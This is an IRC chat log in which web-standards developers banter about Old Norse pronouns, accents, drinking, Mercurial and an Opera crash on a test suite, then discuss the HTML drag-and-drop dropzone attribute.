[12:38:00.0000] <gsnedders>
hīe (nominative, modern: "they"), hīe (accusative, modern: "them"), him (dative, modern: "them"), and hira (genitive, modern: "their"/"theirs")

[12:38:01.0000] <gsnedders>
/me misunderstood the table he was reading before

[12:39:00.0000] <gsnedders>
(and the first is pronounced [hiːə])

[12:40:00.0000] <Anti-X>
we still use some of it today here, but not as a rule, more as exceptions... like... they have something: dei har noko (nominative). i saw them: eg såg dei (accusative). to them: til dei (dative). it is their(s): det er deira (genitive)

[12:40:01.0000] <Anti-X>
for some other pronouns we use their nominative form for all of these

[12:41:00.0000] <Anti-X>
i think

[12:41:01.0000] <gsnedders>
Anti-X: "we"? Swedish from the examples?

[12:41:02.0000] <gsnedders>
Or?

[12:41:03.0000] <Anti-X>
nynorsk

[12:41:04.0000] <Anti-X>
new norwegian

[12:41:05.0000] <Anti-X>
based on dialects

[12:41:06.0000] <gsnedders>
Ah

[12:41:07.0000] <Anti-X>
we had danish for a while and some people were pissed

[12:41:08.0000] <gsnedders>
/me can normally tell the difference, but shorter the fragment the harder it gets :)

[12:42:00.0000] <Anti-X>
a while = 400 years

[12:42:01.0000] <Anti-X>
barely an afternoon

[12:42:02.0000] <Anti-X>
in history

[12:42:03.0000] <gsnedders>
The origin of they/their/them is thought to be þæir, þæim, þæira from Old Norse

[12:42:04.0000] <AryehGregor>
"hg out" is pretty cool.

[12:42:05.0000] <gsnedders>
/me has no idea how to pronoun them, though

[12:42:06.0000] <AryehGregor>
Easy to type.

[12:43:00.0000] <Anti-X>
þ = 'th'

[12:43:01.0000] <Anti-X>
exactly

[12:43:02.0000] <gsnedders>
Anti-X: Yeah, that's about as far as my knowledge gets. "ae" is what?

[12:43:03.0000] <Anti-X>
æ = like the a in 'glad'

[12:43:04.0000] <Anti-X>
english glad

[12:43:05.0000] <Anti-X>
as in happy

[12:44:00.0000] <gsnedders>
and how do you get the i in after that then?

[12:45:00.0000] <Anti-X>
'ea' in east

[12:45:01.0000] <gsnedders>
/me sighs at himself

[12:45:02.0000] <Anti-X>
don't type it out like that though, it'll be all wrong

[12:45:03.0000] <Anti-X>
:p

[12:45:04.0000] <Anti-X>
thaear

[12:45:05.0000] <Anti-X>
actually if you're scottish that may be right

[12:46:00.0000] <gsnedders>
gsnedders: You are trying to pronoun Old Norse. Basing it upon Swedish is probably better than basing it upon English.

[12:46:01.0000] <Anti-X>
probably a horrible mistake

[12:46:02.0000] <Anti-X>
swedish is fucked

[12:46:03.0000] <Philip`>
AryehGregor: Cooler than the Git equivalent of that command? :-)

[12:46:04.0000] <Anti-X>
pardon my.. english

[12:46:05.0000] <AryehGregor>
Philip`, it's just a shortcut, the git version is a lot longer to type.

[12:46:06.0000] <AryehGregor>
I think this is the first thing I like about Hg.

[12:47:00.0000] <Anti-X>
gsnedders, do you know the ä sound in swedish? it's the same as the æ

[12:47:01.0000] <gsnedders>
Anti-X: Well, yeah. But from my (admittedly fairly limited) knowledge of Old Norse, it's still closer than English. (As the Old Norse influence on English is small, but in places radical.)

[12:48:00.0000] <Anti-X>
and not to mention the various english dialects and accents that make vowels completely different

[12:48:01.0000] <gsnedders>
Heh.

[12:49:00.0000] <gsnedders>
/me had one of his friends say something like, "if I come and visit you, will I understand anyone?", earlier today

[12:49:01.0000] <gsnedders>
(I live in Glasgow.)

[12:49:02.0000] <Anti-X>
oh you could have said that

[12:50:00.0000] <Anti-X>
so you have a proper R then

[12:50:01.0000] <Anti-X>
like normal people

[12:50:02.0000] <gsnedders>
I don't have a Glaswegian accent, however

[12:51:00.0000] <gsnedders>
And if my proper you mean rolled, I really don't at all.

[12:51:01.0000] <Anti-X>
there are four types of Rs... proper, french, and gutteral (split into british and american (extreme))

[12:51:02.0000] <Anti-X>
i call it gutteral

[12:51:03.0000] <Anti-X>
but it's really not

[12:52:00.0000] <Anti-X>
but it sounds ugly

[12:52:01.0000] <AryehGregor>
Okay, clearly my lack of C++ experience is showing.  Can anyone tell me what this line means?  http://hg.mozilla.org/mozilla-central/file/3dcf107b7267/content/html/content/src/nsHTMLInputElement.h#l142

[12:52:02.0000] <AryehGregor>
I'd think it was a symbol #define'd someplace else, but I can't find the definition anywhere.

[12:53:00.0000] <AryehGregor>
Oh, I bet it's magically generated from an IDL, that must be it.

[12:53:01.0000] <AryehGregor>
/me goes to find the IDL

[12:55:00.0000] <Philip`>
http://hg.mozilla.org/mozilla-central/file/3dcf107b7267/dom/interfaces/html/nsIDOMHTMLInputElement.idl

[12:55:01.0000] <Philip`>
/me would guess so

[12:56:00.0000] <AryehGregor>
Okay, now it turns out that the helper method I was trying to use was expecting it to be signed, but it's unsigned.

[12:57:00.0000] <AryehGregor>
/me starts to think this code needs to be largely rewritten to match the spec, since it's different at a conceptual level in so many places.

[12:57:01.0000] <AryehGregor>
Probably true for all other browsers too.  The HTML5 reflection stuff seems to be a rationalization of the giant soup of preexisting practices.

[12:59:00.0000] <AryehGregor>
It's drastically simpler than what I'm seeing in the Gecko source code, which is really a case-by-case mishmash that makes no sense as a whole.

[12:59:01.0000] <AryehGregor>
(which, again, is probably what other browsers do too)

[13:07:00.0000] <jwalden>
/me wonders when Opera will get around to fixing rendering of http://whereswalden.com/files/mozilla/background-size/page-cover.html when the viewport is tall and narrow (he *thinks* he formally reported it as a bug once)

[14:10:00.0000] <jgraham>
gsnedders: The answer is no, obviously

[14:11:00.0000] <gsnedders>
jgraham: To what?

[14:11:01.0000] <jgraham>
13:54  * gsnedders had one of his friends say something like, "if I come and visit you, will I understand anyone?",  earlier today

[14:14:00.0000] <gsnedders>
jgraham: Ah.

[14:14:01.0000] <gsnedders>
It's not that hard.

[14:15:00.0000] <jgraham>
Um, yes it is

[14:15:01.0000] <jgraham>
Especially if you are not a native speaker

[14:15:02.0000] <gsnedders>
Bah, grow up around people speaking Scots, it's not that hard. :P

[14:15:03.0000] <gsnedders>
(Yeah, just grow up again. :P)

[14:16:00.0000] <jgraham>
I refer you to my original statement

[14:17:00.0000] <AryehGregor>
"Hello Dr. Fantasai,"

[14:18:00.0000] <jgraham>
AryehGregor: ?

[14:18:01.0000] <AryehGregor>
Someone started an e-mail to www-style with that two days ago.

[14:18:02.0000] <AryehGregor>
It amused me.

[14:19:00.0000] <Ms2ger>
Me too

[14:19:01.0000] <gsnedders>
/me must admit he doesn't read www-style very closely

[14:19:02.0000] <AryehGregor>
I wonder which of the following is true: a) The writer thinks "Fantasai" is her real name.  b) The writer thinks she has a Ph.D.  (I assume she doesn't?)  c) The writer thinks that it's appropriate to refer to random people as "Dr." regardless of whether they have a Ph.D.

[14:20:00.0000] <Ms2ger>
d) The writer, despite signing as "Dr.", is not a doctor

[14:21:00.0000] <jgraham>
It sould be a real surname, I guess. And I guess some people pick the highest title that seems at all probable in case they offend you

[14:21:01.0000] <jgraham>
OK that is a rubbish theory

[14:21:02.0000] <AryehGregor>
"fantasai" is not remotely plausible as a real surname.

[14:22:00.0000] <Workshiva>
That's what I would say about Anne as a male name a few years ago

[14:22:01.0000] <jgraham>
The only times I have ever been adressed as "Dr." by email was by suspicious-looking "journals" asking for contributions

[14:22:02.0000] <AryehGregor>
Anne is at least a real name, it's not totally implausible that some crazy places would use it as a male name.

[14:23:00.0000] <Workshiva>
Djikstra definitely looks fake

[14:23:01.0000] <jgraham>
I assume different cultures have different naming traditions

[14:23:02.0000] <Workshiva>
Assuming I can even spell it

[14:23:03.0000] <AryehGregor>
"fantasai" sounds like exactly what it is, an Internet handle chosen by a teenage girl.  (I think she had it since she was a teenager, didn't she?  I vaguely recall reading her website once.)

[14:23:04.0000] <AryehGregor>
jgraham, that's a silly assumption.  I'm pretty sure all cultures have the same naming conventions exactly.

[14:23:05.0000] <AryehGregor>
Also, ++ on the "people call you Dr. when trying to get money out of you".

[14:23:06.0000] <AryehGregor>
The AMS called me Dr., I think.

[14:24:00.0000] <AryehGregor>
Or Professor or something.

[14:24:01.0000] <AryehGregor>
Uh-huh.

[14:24:02.0000] <gsnedders>
/me calls jgraham Dr sometimes when he wants to get something out of him

[14:24:03.0000] <gsnedders>
It turns out this is unsuccessful

[14:24:04.0000] <Workshiva>
Is that so... Doctor Curien?

[14:25:00.0000] <jgraham>
Indeed, the demise of me bein refered o as "Dr" by email coincides exacly with the point at which it would at least be accurate to do so

[14:27:00.0000] <jgraham>
/me notes that while it may technically be accurate to refer to him as Dr it will always be unwelcome, as gsnedders discovered

[14:27:01.0000] <Workshiva>
Herr Dokter Graham

[14:28:00.0000] <jgraham>
Workshiva: If looks could kill they probably will

[14:30:00.0000] <Ms2ger>
Workshiva, Dijkstra, btw

[14:31:00.0000] <jgraham>
If we're going for "names that look made up" let's not forget krijn

[14:31:01.0000] <Workshiva>
See, I can't even spell it correctly

[14:32:00.0000] <jgraham>
That's just a random selection of constanants with a token vowel

[14:32:01.0000] <AryehGregor>
I think it would be most effective to just look in a Polish phonebook.

[14:32:02.0000] <AryehGregor>
http://en.wikipedia.org/wiki/List_of_casualties_of_the_2010_Polish_Air_Force_Tu-154_crash

[14:33:00.0000] <AryehGregor>
Czesław, Przemysław, come on.

[14:33:01.0000] <AryehGregor>
(probably a tasteless source of Polish names to pick)

[14:33:02.0000] <Ms2ger>
Probably?

[14:36:00.0000] <AryehGregor>
:/

[14:36:01.0000] <gsnedders>
jgraham: Discovered? I've always done it because I know it's unwelcome.

[14:36:02.0000] <gsnedders>
/me can't remember who told him jgraham found it unwelcome

[14:38:00.0000] <jgraham>
Things that annoy me but shouldn't #216: People who write "here here" when they are agreeing with something

[14:40:00.0000] <TabAtkins>
teehee: "the use of ass commands"

[14:40:01.0000] <Ms2ger>
Your just pedantic, jgraham :)

[14:40:02.0000] <AryehGregor>
I didn't realize jgraham had a Ph.D., and that referring to him as Dr. annoys him.  I'll have to remember this.

[14:40:03.0000] <TabAtkins>
Oh man.

[14:40:04.0000] <TabAtkins>
Dr. Graham.

[14:40:05.0000] <TabAtkins>
Excellent.

[14:43:00.0000] <TabAtkins>
gsnedders: I can assure you that it was somewhat difficult for *me* to understand you at first, until I got used to your accent.

[14:43:01.0000] <jgraham>
TabAtkins: gsnedders doesn't have a Scottish accent

[14:44:00.0000] <jgraham>
Much less a Glasgow one

[14:44:01.0000] <TabAtkins>
Whatever.  You northern europeans are all the same.

[14:44:02.0000] <TabAtkins>
Also, I didn't meantion "Scottish".

[14:44:03.0000] <TabAtkins>
Just "accent".

[14:44:04.0000] <TabAtkins>
Also: I'm about to miss lunch.  brb.

[14:46:00.0000] <jgraham>
TabAtkins: Well if gsnedders' accent isn't Scottish, how hard he is to understand has little bearing on how hard someone from Glasgow would be to understand

[14:46:01.0000] <gsnedders>
I basically have Recieved Pronouncation… or, alternatively, am a posh git.

[14:47:00.0000] <jgraham>
Except insofar as one can make some analysis on the relative difference between accents

[14:47:01.0000] <Workshiva>
Ms2ger: Did you do that on purpose?

[14:47:02.0000] <Ms2ger>
Workshiva, yes

[14:47:03.0000] <jgraham>
That puts A B and C at different points on some one-dimensional scale

[14:47:04.0000] <gsnedders>
/me would quite like to not sound like a posh git

[14:48:00.0000] <jgraham>
gsnedders: I recommend spending some time in Glasgow

[14:48:01.0000] <jgraham>
No one from Glasgow sounds posh

[14:48:02.0000] <jgraham>
Although arguably people from liverpool sound less posh </flamebait>

[14:50:00.0000] <TabAtkins>
gsnedders: Come live in America for four years.  That'll beat the accent out of you (/replace it with an American one - choose your flavor).

[14:51:00.0000] <gsnedders>
jgraham: I've already met one girl that disproves that.

[14:51:01.0000] <jgraham>
Maybe we should try and convince him that accents are mainly transferred by sex

[14:51:02.0000] <gsnedders>
hah

[14:51:03.0000] <gsnedders>
beer and casual sex, it's how I was told I'm meant to get through uni.

[14:51:04.0000] <jgraham>
So to get a less-posh accent he should sleep with less-posh-sounding people

[14:53:00.0000] <Workshiva>
Nah, tey

[14:53:01.0000] <Workshiva>
They

[14:53:02.0000] <Workshiva>
... I hate this keyboard

[14:53:03.0000] <Workshiva>
They'll all be like "Speak fancy to me, baby"

[14:54:00.0000] <jgraham>
gsnedders: I believe the idea is that if you apply enough of the first the second will come as a consequence

[14:54:01.0000] <jgraham>
This is far from my area of expertise however

[14:55:00.0000] <gsnedders>
jgraham: Hmm, so I have to drink more than I did at my birthday party?

[14:56:00.0000] <jgraham>
Well that and hang out with more people that aren't 10 years older than you and mostly in relationships, yes

[14:56:01.0000] <gsnedders>
(For the benefit of everyone else: I have never been anywhere near as drunk as I was at my 18th birthday party. I don't intend on getting as drunk ever again.)

[14:57:00.0000] <AryehGregor>
I don't drink.  Seems to cause more trouble than it's worth.

[14:57:01.0000] <TabAtkins>
Sure, if you do it wrong.

[14:57:02.0000] <TabAtkins>
/me does it right.

[14:57:03.0000] <TabAtkins>
/me knows this, because he has alcoholic friends that do it wrong.

[14:57:04.0000] <gsnedders>
/me has no objection to drinking a glass of wine with food, but rarely drinks apart from that

[14:57:05.0000] <AryehGregor>
Yeah, pretty much the same with me.  I have a glass or two of wine occasionally, that's it.

[14:58:00.0000] <AryehGregor>
I don't get why anyone would want to trade away their mental faculties temporarily for a buzz.

[14:58:01.0000] <AryehGregor>
Seems like a terrible tradeoff.

[14:58:02.0000] <Hixie>
hear hear

[14:58:03.0000] <TabAtkins>
Because it's temporary?

[14:59:00.0000] <TabAtkins>
If I could get a buzz without dulling my brain, I'd go for that instead.  But I work with what I have.

[14:59:01.0000] <gsnedders>
But it's consquences aren't, it does have a long term affect on parts of your body, like your liver.

[14:59:02.0000] <AryehGregor>
But why would you want to temporarily make yourself stupider?  It seems like it's not worth it at all.

[14:59:03.0000] <gsnedders>
/me doesn't even really get a buzz from alcohol

[14:59:04.0000] <Hixie>
TabAtkins: there are lots of ways of getting a buzz without alcohol :-)

[14:59:05.0000] <TabAtkins>
Consequences are only a problem if you (a) drink too much and (b) are stupid to begin with.  Long-term consequences are no worse than any other food if used in moderation.

[14:59:06.0000] <Hixie>
almost any physical exercise, for instance

[14:59:07.0000] <TabAtkins>
Hixie: Completely different buzz.

[15:00:00.0000] <Hixie>
nobody specified the kind of buzz

[15:00:01.0000] <TabAtkins>
AryehGregor: It doesn't make you stupider.  It makes you less alert, and does strange things to your executive function.  But your intelligence remains high.

[15:00:02.0000] <TabAtkins>
(At least, until you get deep into the depressive effect.)

[15:01:00.0000] <AryehGregor>
You would do much worse on any kind of standardized test of intelligence while drunk.

[15:01:01.0000] <AryehGregor>
Correct or incorrect?

[15:01:02.0000] <hober>
I find that ranting about distributed extensibility is best done while drinking

[15:02:00.0000] <Hixie>
hober: i would advise against both activities :-P

[15:02:01.0000] <hober>
:)

[15:02:02.0000] <Hixie>
speaking of ranting, how long has it been since a chair decision?

[15:02:03.0000] <TabAtkins>
AryehGregor: Ah, if you use that as your definition, then sure.

[15:02:04.0000] <hober>
I've been really pleased with the answers to the ISSUE-41 poll

[15:03:00.0000] <Hixie>
are they just going to announce all the decisions at once on the day we go to LC?

[15:03:01.0000] <Ms2ger>
Yes, didn't they tell you?

[15:03:02.0000] <AryehGregor>
hober, it's a landslide.  Maybe we should require higher standards for bringing up an issue, like strong support by a second person.

[15:03:03.0000] <AryehGregor>
We had one or two like this before.  Waste of time.

[15:04:00.0000] <AryehGregor>
Hixie, they have a schedule on when they're supposed to get all the chair decisions done.

[15:04:01.0000] <TabAtkins>
Like, sigh, the "Remove <small>" issue that SP just raised to the tracker?

[15:04:02.0000] <Ms2ger>
Also, a standard that would avoid creating an issue about lang=en-us-x-hixie

[15:04:03.0000] <AryehGregor>
Yes, exactly like that one.

[15:04:04.0000] <Workshiva>
I'm almost starting to miss Dmitri Turin

[15:04:05.0000] <Ms2ger>
No

[15:05:00.0000] <hober>
Workshiva: DON'T SUMMON HIM

[15:05:01.0000] <Ms2ger>
No you aren't

[15:05:02.0000] <hober>
he doesn't kiboze irc, does he?

[15:05:03.0000] <Ms2ger>
I hope not

[15:05:04.0000] <Hixie>
i miss the guy who wanted Accept headers set by an attribute

[15:05:05.0000] <AryehGregor>
Who's Dmitry Turin?

[15:05:06.0000] <AryehGregor>
Hixie, I remember him!

[15:05:07.0000] <Workshiva>
Get out Hixie

[15:05:08.0000] <TabAtkins>
mookid?

[15:06:00.0000] <Hixie>
that's him

[15:06:01.0000] <Hixie>
i think

[15:06:02.0000] <Workshiva>
He's still around under another name sometimes

[15:06:03.0000] <Hixie>
yeah

[15:06:04.0000] <TabAtkins>
He's /ignore'd in my prefs under both his names, so shrug.

[15:06:05.0000] <Hixie>
awww

[15:06:06.0000] <Hixie>
poor guy!

[15:06:07.0000] <Ms2ger>
/me has a user style sheet to ignore him in the logs

[15:07:00.0000] <hober>
M-x erc-add-fool

[15:07:01.0000] <jgraham>
gsnedders: I would like so see some study indicating the long term liver damage of drinking in moderation

[15:08:00.0000] <jgraham>
Because I am quie skeptical

[15:08:01.0000] <Workshiva>
I should probably go home before midnight

[15:08:02.0000] <TabAtkins>
I'm quite certain there've been studies of it, which showed nothing appreciable.

[15:09:00.0000] <jgraham>
/me doesn't drink at all fwiw

[15:10:00.0000] <TabAtkins>
On that note, I'll be picking up my wineclub selections for the month next weekend!  yay!

[15:11:00.0000] <hober>
"People who don.t drink tend to die sooner than those who do, this according to a paper published in the journal Alcoholism: Clinical and Experimental Research, says TIME Magazine." http://sundaystandard.info/article.php?NewsID=8909&GroupID=2

[15:11:01.0000] <AryehGregor>
Yes, but that's purely correlational, right?

[15:11:02.0000] <AryehGregor>
Maybe it's just because they're . . . antisocial or something.

[15:12:00.0000] <AryehGregor>
Maybe people who actually have friends are under pressure to drink.  I wouldn't know.

[15:12:01.0000] <jgraham>
http://www.ncbi.nlm.nih.gov/pubmed/15804034 makes some claims wrt liver disease

[15:13:00.0000] <jgraham>
Although it's hard to draw conclusions from a single paper

[15:14:00.0000] <jgraham>
Especially one in Swedish that I sem to have no access to

[15:15:00.0000] <jgraham>
actually s/hard/impossible/

[15:16:00.0000] <gsnedders>
jgraham: I've seen others, too, but I can't find any now.

[15:19:00.0000] <jgraham>
http://www.ncbi.nlm.nih.gov/pubmed/8985826 claims otherwise for example, although only in passing

[15:20:00.0000] <jgraham>
In any case it is a bit of a dumb thing to worry about. The probability of dying of liver disease is still tiny compared to many other things, lots of which are also lifestyle-choice related

[15:21:00.0000] <AryehGregor>
Like the risk of traffic accidents, which can be avoided if you become a hermit and live in the wilderness.

[15:21:01.0000] <jgraham>
(unless you are an alcoholic of course. But we are assuming moderation here)

[15:21:02.0000] <jgraham>
I was thinking more of heart disease which can be avoided by not living in Scotland

[15:22:00.0000] <gsnedders>
jgraham: Uh…

[15:22:01.0000] <jgraham>
But probably other things like being run over when wearing headphones that prevent you hearing the traffic

[15:23:00.0000] <AryehGregor>
You can also avoid heart disease by choosing to be heartless.

[15:23:01.0000] <jgraham>
gsnedders: You've seen the statistics? Being Scottish is just bad for the heart :p

[15:24:00.0000] <AryehGregor>
It's interesting that practically all the leading causes of death are disease.

[15:24:01.0000] <TabAtkins>
Heart disease is, in fact, specific only to Scotland and Texas.

[15:24:02.0000] <AryehGregor>
I wonder how that compares to a hundred years ago.

[15:24:03.0000] <gsnedders>
jgraham: Oh, you just mean like that :P

[15:25:00.0000] <gsnedders>
jgraham: And statistically, Glasgow is the worst place in Scotland :)

[15:26:00.0000] <gsnedders>
(There again, for what is common, I don't have anywhere near the diet needed to die)

[15:51:00.0000] <AryehGregor>
/me just found a ridiculously stupid bug that meant his test suite wasn't testing string, boolean, url, or urls types at all

[15:51:01.0000] <AryehGregor>
/me can't believe he didn't spot that before: "type" instead of type

[15:51:02.0000] <Hixie>
heh

[15:52:00.0000] <Philip`>
/me hates bugs that make test suites silently pass without running any code

[15:52:01.0000] <Hixie>
yeah

[15:52:02.0000] <Hixie>
so hard to spot too

[15:52:03.0000] <Hixie>
especially when most of the test fails

[15:53:00.0000] <Philip`>
And when you eventually discover it, you see it's a ridiculously stupid bug

[15:54:00.0000] <Hixie>
usually

[15:54:01.0000] <Hixie>
and if you're lucky it's not baked into hte platform by that time...

[15:54:02.0000] <Philip`>
which makes it seem more embarrassing than if it was a legitimate difficult bug

[15:54:03.0000] <AryehGregor>
Also, Opera now completely crashes when running the test suite.

[15:54:04.0000] <AryehGregor>
Sigh.

[15:54:05.0000] <Philip`>
Completely crashes, as opposed to only partially crashing?

[15:54:06.0000] <AryehGregor>
/me filled out the crash report form, one of you Opera people can go look for it

[15:55:00.0000] <AryehGregor>
Well, before it was terminating JavaScript execution due to OOM.

[15:55:01.0000] <AryehGregor>
Now it just crashes.

[15:55:02.0000] <Philip`>
Ah

[15:55:03.0000] <AryehGregor>
Is there a way to make hg diff colored?

[15:57:00.0000] <AryehGregor>
Oh, it requires an extension.  So typical.

[15:57:01.0000] <Philip`>
http://mercurial.selenic.com/wiki/ColorExtension

[15:58:00.0000] <gsnedders>
AryehGregor: Submit it with an email address?

[15:58:01.0000] <AryehGregor>
gsnedders, yeah, I submitted the last one with an e-mail address.

[15:58:02.0000] <gsnedders>
AryehGregor: What email address? :)

[15:58:03.0000] <AryehGregor>
I think it was AryehGregor+operacrash⊙gc

[15:59:00.0000] <Philip`>
Call it an off-by-default boolean user configuration variable, if that makes you happier than "extension"

[15:59:01.0000] <AryehGregor>
Might have been Simetrical+operacrash⊙gc

[15:59:02.0000] <AryehGregor>
Might have been your e-mail address, just to mess with you.

[15:59:03.0000] <AryehGregor>
Philip`, that's not a good argument for rebase, though, because "hg rebase" doesn't work until you add the line to your config.

[15:59:04.0000] <AryehGregor>
That's senseless.

[16:00:00.0000] <Philip`>
Yeah, I'm not sure how that is considered a good idea

[16:01:00.0000] <gsnedders>
AryehGregor: Can't find any with either address

[16:01:01.0000] <gsnedders>
(or my own :P)

[16:01:02.0000] <AryehGregor>
Hmph.

[16:01:03.0000] <AryehGregor>
Maybe your crash report system doesn't like + in e-mail addresses, like so many systems don't.

[16:05:00.0000] <gsnedders>
No, it works fine

[16:05:01.0000] <TabAtkins>
/me figures the only usable, understandable regex for email addresses is /[^@]+@.+/.

[16:07:00.0000] <gsnedders>
AryehGregor: (FWIW, there's no validation done on it at all. You could put in garbage there.)

[16:08:00.0000] <gsnedders>
AryehGregor: How about IP? :P

[16:08:01.0000] <gsnedders>
/me could just try running it himself…

[16:13:00.0000] <gsnedders>
AryehGregor: I can't reproduce crash on AMD64 Linux

[16:13:01.0000] <gsnedders>
(using the version at http://aryeh.name/tests/reflection.html)

[16:39:00.0000] <TabAtkins>
I need a clever name for my blog.

[16:40:00.0000] <othermaciej>
How about "standards suck"?

[16:40:01.0000] <othermaciej>
(sadly that's taken already)

[16:40:02.0000] <TabAtkins>
Serious suggestions only, please.  ^_^

[16:41:00.0000] <hober>
"The Tab on Tab"

[16:41:01.0000] <Hixie>
"Tab Atkins' Blog"

[16:41:02.0000] <TabAtkins>
That's the best one so far.

[16:41:03.0000] <Dashiva>
The Tabloid

[16:41:04.0000] <Hixie>
"My Home Page"

[16:41:05.0000] <Hixie>
Tabloid is pretty funny

[16:41:06.0000] <Hixie>
i like that

[16:42:00.0000] <TabAtkins>
"My Cool Home Page (under construction)

[16:42:01.0000] <TabAtkins>
Yeah, me too!

[16:42:02.0000] <Dashiva>
Well come to my web sight

[16:42:03.0000] <othermaciej>
"Tab Complete"

[16:42:04.0000] <hober>
othermaciej++

[16:42:05.0000] <Hixie>
Alt+Tab

[16:42:06.0000] <TabAtkins>
Oh man.

[16:42:07.0000] <hober>
or tab completion

[16:42:08.0000] <othermaciej>
"Tabbed Browsing"

[16:42:09.0000] <TabAtkins>
/me will have to rotate these titles.

[16:42:10.0000] <Hixie>
lol

[16:42:11.0000] <hober>
damn

[16:42:12.0000] <hober>
lots of good ones

[16:42:13.0000] <othermaciej>
"Tabular Data"

[16:43:00.0000] <hober>
if he named it that, he'd have to use ironic tables for layout

[16:43:01.0000] <TabAtkins>
<table role=ironic>

[16:43:02.0000] <Dashiva>
<table role=ironic>

[16:43:03.0000] <TabAtkins>
HAH

[16:43:04.0000] <Dashiva>
Damn!

[16:43:05.0000] <hober>
<table role=presentation class=ironic> :)

[16:44:00.0000] <TabAtkins>
/me will use a table for the title when "Tabular Data" comes up.

[16:46:00.0000] <othermaciej>
"Tab Stops"

[16:46:01.0000] <Dashiva>
\t

[16:46:02.0000] <othermaciej>
New Tab

[16:47:00.0000] <TabAtkins>
Everyone wins!

[16:47:01.0000] <Philip`>
"I Prefer Spaces"

[16:47:02.0000] <Hixie>
TabAtkins: are you "doing real world testing of specification usability" in your 20% time?

[16:47:03.0000] <othermaciej>
heh

[16:47:04.0000] <othermaciej>
or "Eight Space"

[16:48:00.0000] <TabAtkins>
"New Tab" is confusing in the tab name when it comes up.

[16:48:01.0000] <othermaciej>
TabAtkins: that's the best thing about it!

[16:48:02.0000] <TabAtkins>
Hixie: Actually, sorta...?

[16:48:03.0000] <Dashiva>
<title>    </title>

[16:48:04.0000] <hober>
^I

[16:48:05.0000] <TabAtkins>
Dashiva: I need that spacing character, the little square cup thing.

[16:48:06.0000] <Hixie>
TabAtkins: much of my site was built the same way :-P

[16:49:00.0000] <TabAtkins>
Hixie: Writing up my articles for the talks I'm giving this weekend.  I already had a document editor, but I've never taken the time to turn it into a blog.

[16:49:01.0000] <Hixie>
cool

[16:49:02.0000] <TabAtkins>
Having a blog was becoming increasingly necessary as my public presence increased.

[16:49:03.0000] <AryehGregor>
gsnedders, the report was sent from monoid.aryeh.name.

[16:50:00.0000] <Hixie>
i found needing a blog has become increasingly unnecessary personally :-P

[16:50:01.0000] <gsnedders>
AryehGregor: Okay, weird. Vanished. Totally.

[16:50:02.0000] <Hixie>
but that's mostly because whenever i blog i end up on reddit and then flamed in the htmlwg

[16:50:03.0000] <TabAtkins>
Hahaha.

[16:50:04.0000] <gsnedders>
(and yes, that scares me)

[16:51:00.0000] <othermaciej>
if you don't blog, your emails will end up on reddit

[16:51:01.0000] <Hixie>
othermaciej: already happened

[16:51:02.0000] <othermaciej>
or bug comments

[16:51:03.0000] <Hixie>
i'm at a loss as to how to fix http://www.w3.org/Bugs/Public/show_bug.cgi?id=10712 usefully (dropzone="" attribute)

[16:51:04.0000] <Hixie>
any ideas?

[16:51:05.0000] <gsnedders>
/me just doesn't have a blog because he has nothing to say

[16:51:06.0000] <TabAtkins>
Well, for future reference, www.xanthir.com/blog now has a few random documents I'd written that I don't mind making public, and about 5 minutes worth of styling and usability attention.

[16:51:07.0000] <gsnedders>
(Okay, I have one, that I intend on getting rid of)

[16:52:00.0000] <Hixie>
it has to be something that actually reduces authoring burden, while not making web pages less usable

[16:52:01.0000] <gsnedders>
TabAtkins: Planning on using any blogging platform?

[16:52:02.0000] <TabAtkins>
gsnedders: My document editor?

[16:52:03.0000] <othermaciej>
how do Web pages normally indicate what is a valid drop target?

[16:52:04.0000] <AryehGregor>
TabAtkins, that name is really very confusing.

[16:52:05.0000] <AryehGregor>
I love it.

[16:53:00.0000] <AryehGregor>
Especially since you have no favicon.

[16:53:01.0000] <Hixie>
othermaciej: they have to cancel an event if the type of data being dragged is accepted

[16:53:02.0000] <AryehGregor>
Doesn't work for Opera, that says "Speed Dial".

[16:53:03.0000] <Hixie>
AryehGregor: reload

[16:53:04.0000] <TabAtkins>
I think I might freeze the <title>, so bookmarks aren't as confusing.  Probably on "New Tab".

[16:54:00.0000] <othermaciej>
Hixie: does that event occur when the drag enters the element, or only when the actual drop occurs?

[16:54:01.0000] <Hixie>
tab: just freeze the title once for each user

[16:54:02.0000] <Hixie>
TabAtkins: set a cookie to the selected title

[16:54:03.0000] <TabAtkins>
othermaciej: The former.

[16:54:04.0000] <TabAtkins>
Hixie: Ooh, that's an idea.

[16:54:05.0000] <Hixie>
othermaciej: continuously while you hover over the element

[16:54:06.0000] <AryehGregor>
Whoa.

[16:54:07.0000] <AryehGregor>
That's unusual.

[16:54:08.0000] <Hixie>
othermaciej: and in particular when you enter the element

[16:54:09.0000] <AryehGregor>
You really are rotating them.

[16:55:00.0000] <Hixie>
othermaciej: (there's two events -- one has to be canceled to accept the drop, another to set the cursor to something that accepts the drop.)

[16:55:01.0000] <othermaciej>
it seems like during a drag you may want to change appearance

[16:55:02.0000] <AryehGregor>
gsnedders, I re-crashed and re-sent.

[16:55:03.0000] <Hixie>
othermaciej: another event fires when you leave the element

[16:55:04.0000] <othermaciej>
even if you aren't going to accept the item

[16:55:05.0000] <TabAtkins>
Hixie: I don't know what's more useful, personally - an attribute on the dragged item that says where it can be dropped, or an attribute on drop zones that says what they can accept somehow.

[16:55:06.0000] <Hixie>
othermaciej: you get an event on enter, an event on hover, and an event on leave

[16:55:07.0000] <othermaciej>
so maybe the attribute could also have a related pseudo-class

[16:55:08.0000] <TabAtkins>
The former would let you switch off the "fire events at everything all the time".

[16:56:00.0000] <othermaciej>
is it at all feasible to express type of data that can be accepted declaratively?

[16:56:01.0000] <Hixie>
TabAtkins: it can't be the former, since you could be dragging from another document (or even not the browser at all)

[16:56:02.0000] <TabAtkins>
Hixie: Hmm, rght.

[16:56:03.0000] <TabAtkins>
othermaciej: Yeah, you can set a type in the dragstart, and just check for that.

[16:56:04.0000] <othermaciej>
in some cases of drop behavior you really do need to update appearance on every drag event

[16:56:05.0000] <Hixie>
othermaciej: nothing can be done declaratively at all, currently, that's the bug i'm trying to fix

[16:57:00.0000] <Hixie>
othermaciej: the problem is that with just events, ATs have no idea what drop zones to offer

[16:57:01.0000] <othermaciej>
Hixie: I'm just wondering if a feature of declratively saying "I accept drops of these types" is feasible, i.e. does the drag source provide any type info?

[16:57:02.0000] <Hixie>
othermaciej: without just sending an event to every element one after hte other to test the whole page

[16:57:03.0000] <Hixie>
othermaciej: yeah, we could do that

[16:57:04.0000] <Hixie>
othermaciej: it'd be difficult to do without redoing the API at the same time since right now the API is kind of a mess when it comes to dragging files and we wouldn't want to make this attribute inherit that mess

